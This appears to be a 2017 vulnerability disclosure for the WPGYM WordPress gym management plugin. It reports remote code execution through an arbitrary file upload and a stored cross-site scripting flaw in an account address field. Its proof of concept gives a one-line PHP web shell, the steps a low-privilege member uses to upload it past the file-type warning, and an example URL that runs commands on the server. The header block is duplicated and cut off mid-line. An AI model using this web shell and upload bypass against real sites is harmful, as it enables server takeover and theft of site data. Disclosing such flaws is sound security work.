WordPress Gym Management System 07-05-2017 Code Execution Cross Site Scripting

# Exploit Title: WPGYM - Wordpress Gym Management System <= 07-05-2017 - Remote Code Execution / Stored XSS
# Date: 2017-07-25
# Exploit Author: 8bitsec
# Vendor Homepage: http:/ # Exploit Title: WPGYM - Wordpress Gym Management System <= 07-05-2017 - Remote Code Execution / Stored XSS
# Date: 2017-07-25
# Exploit Author: 8bitsec
# Vendor Homepage: http://www.mobilewebs.net/
# Software Link: https://codecanyon.net/item/-wpgym-wordpress-gym-management-system/13352964
# Version: ?
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-07-25

Product & Service Introduction:
===============================
WPGYM a Wordpress Gym Management System ideal Wordpress plugin for your Wordpress powered gym management system.
The plugin is not version numbered, it was tested on version 07-05-2017.

Technical Details & Description:
================================

Authenticated Stored XSS vulnerability found on Account section.

Remote Code Execution via Arbitrary File Upload.

All vulnerabilities tested as a low priv user (member).

Proof of Concept (PoC):
=======================

Remote Code Execution

shell.png.php:
<?php echo shell_exec($_GET['cmd']);?>

Member > View > Add weight > Upload image > shell.png.php > Save Measurement
An alert will warn you about incorrect file type but it will still upload it.

Go to Workouts > View Measurement > Right Click on Image > View Image or Copy Image URL
Paste on your browser and add ?cmd=[command]

Example:
https://localhost/wordpress/gym/wp-content/uploads/gym_assets/1501018920-pimg-in.php?cmd=id

Authenticated Stored XSS:

Account > Home Town Address textfield is vulnerable.

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8bitsec - [https://twitter.com/_8bitsec]